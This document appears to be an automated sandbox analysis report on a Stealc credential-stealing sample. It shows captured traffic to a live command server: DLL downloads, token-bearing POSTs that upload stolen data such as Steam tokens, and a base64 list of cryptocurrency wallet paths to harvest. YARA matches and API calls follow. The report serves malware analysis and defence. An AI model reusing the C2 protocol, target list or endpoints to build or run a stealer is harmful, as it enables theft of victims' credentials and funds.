00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 24, 2024 04:57:20.917438984 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 04:57:21.203455925 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 24, 2024 04:57:21.726064920 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 04:57:22.010709047 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 24, 2024 04:57:23.450824976 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 04:57:23.736299992 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 24, 2024 04:57:24.109360933 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 04:57:24.395289898 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 24, 2024 04:57:24.892023087 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBG Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:57:25.681397915 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:57:25.745963097 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIJDBKEGIDHIDAFCF Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 4a 44 42 4b 45 47 49 44 48 49 44 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 4a 44 42 4b 45 47 49 44 48 49 44 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 4a 44 42 4b 45 47 49 44 48 49 44 41 46 43 46 2d 2d 0d 0a Data Ascii: ------CFHIIJDBKEGIDHIDAFCFContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------CFHIIJDBKEGIDHIDAFCFContent-Disposition: form-data; name="message"wallets------CFHIIJDBKEGIDHIDAFCF--
Oct 24, 2024 04:57:26.032459974 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:25 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 24, 2024 04:57:26.035201073 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJK Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="message"files------BKKKFCFIIJJKKFHIEHJK--
Oct 24, 2024 04:57:26.324867964 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:57:26.340389967 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEHCGIJECFIECBFIDGD Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJEHCGIJECFIECBFIDGDContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------IJEHCGIJECFIECBFIDGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJEHCGIJECFIECBFIDGDContent-Disposition: form-data; name="file"------IJEHCGIJECFIECBFIDGD--
Oct 24, 2024 04:57:27.124102116 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:57:27.152110100 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGD Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="message"ybncbhylepme------CAKKJKKECFIDGDHIJEGD--
Oct 24, 2024 04:57:27.442467928 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:27 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5793 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Oct 24, 2024 04:57:27.443857908 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJEBKJEGHJKECAAKJK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGHJEBKJEGHJKECAAKJK--
Oct 24, 2024 04:57:28.226624966 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	22:57:02
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x6c0000
File size:	1'877'504 bytes
MD5 hash:	14A1F90B21FFB33B230A55A35C92F699
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2101514591.0000000005090000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2378464740.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 006D9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013E07E0), ref: 006D98A1
GetProcAddress.KERNEL32(75900000,013E0690), ref: 006D98BA
GetProcAddress.KERNEL32(75900000,013E06D8), ref: 006D98D2
GetProcAddress.KERNEL32(75900000,013E05D0), ref: 006D98EA
GetProcAddress.KERNEL32(75900000,013E0708), ref: 006D9903
GetProcAddress.KERNEL32(75900000,013E8960), ref: 006D991B
GetProcAddress.KERNEL32(75900000,013D62C0), ref: 006D9933
GetProcAddress.KERNEL32(75900000,013D6300), ref: 006D994C
GetProcAddress.KERNEL32(75900000,013E0720), ref: 006D9964
GetProcAddress.KERNEL32(75900000,013E0768), ref: 006D997C
GetProcAddress.KERNEL32(75900000,013E0780), ref: 006D9995
